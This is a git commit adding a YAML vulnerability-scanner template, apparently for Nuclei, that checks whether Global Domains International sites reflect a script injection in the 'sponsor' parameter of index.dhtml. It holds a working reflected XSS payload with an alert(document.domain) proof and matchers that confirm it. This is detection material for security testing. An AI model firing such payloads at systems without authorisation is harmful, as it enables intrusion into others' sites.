Create global-domains-xss.yaml

patch-1
Prince Chaddha 2021-12-18 14:51:08 +05:30 committed by GitHub
parent 74af195444
commit 3b067a1aca
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 29 additions and 0 deletions

View File

@ -0,0 +1,29 @@
id: global-domains-xss
info:
name: Global Domains International XSS
author: princechaddha
severity: medium
reference: https://cxsecurity.com/issue/WLB-2018020247
tags: globaldomains,xss
requests:
- method: GET
path:
- "{{BaseURL}}/index.dhtml?sponsor=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200